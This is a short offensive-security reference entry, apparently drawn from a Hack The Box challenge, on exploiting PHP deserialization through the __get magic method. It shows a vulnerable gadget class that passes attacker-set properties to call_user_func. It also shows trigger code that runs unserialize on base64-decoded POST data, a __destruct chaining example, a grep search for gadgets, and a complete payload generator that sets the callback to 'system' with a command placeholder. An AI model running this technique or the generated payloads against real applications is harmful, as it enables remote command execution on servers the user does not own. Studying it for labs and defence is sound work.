__get gadget
PHP serialized-object __get gadget
__get($property_name) is a PHP magic method. PHP calls it automatically when code tries to read an object property that does not exist or cannot be accessed from the current scope.
$property_name is a string containing the requested property name. If __get() returns a result, PHP uses that result as the value of the property read.
__get() runs after application code or another gadget reads a missing or inaccessible property from the reconstructed object.
Vulnerable gadget
class TargetClass
{
public $callback;
public $argument;
public function __get($property_name)
{
$result = call_user_func($this->callback, $this->argument);
return $result;
}
}call_user_func() accepts a callable as its first argument, passes the remaining arguments to it, and returns the callable’s result. A serialized TargetClass object can replace callback and argument. Setting them to system and an operating-system command turns the property read into command execution.
Trigger
$serialized_data = base64_decode($_POST["<PARAMETER_NAME>"]);
$object = unserialize($serialized_data);
$result = $object->missing_property;
print($result);missing_property is absent from TargetClass, so reading it calls __get("missing_property"). The controlled callback and argument properties supply the function and command in this example.
Another gadget can perform the same trigger:
public function __destruct()
{
echo $this->controlled_object->missing_property;
}The controlled object must contain an instance of the class defining __get().
Finding a gadget
Search the application source for __get() methods:
grep -Rni "function __get" .For each result, identify the properties read by the method and the operation performed with them. A usable gadget requires a reachable missing-property read and control over the properties passed to a useful sink.
PHP payload generator
The generator needs the target class name and the properties stored in the serialized object. The target application supplies the real __get() method when it reconstructs the object.
<?php
class TargetClass
{
public $callback;
public $argument;
}
$payload_object = new TargetClass();
$payload_object->callback = "system";
$payload_object->argument = "<COMMAND>";
$serialized_payload = serialize($payload_object);
$encoded_payload = base64_encode($serialized_payload);
print($encoded_payload);
?>
The class name, property names, and property visibility must match the target source exactly.
Find by: php deserialization, php object injection, magic method, __get, missing property, inaccessible property, property read, call_user_func, callback gadget, serialized payload generator · Source: HTB/POPRestaurant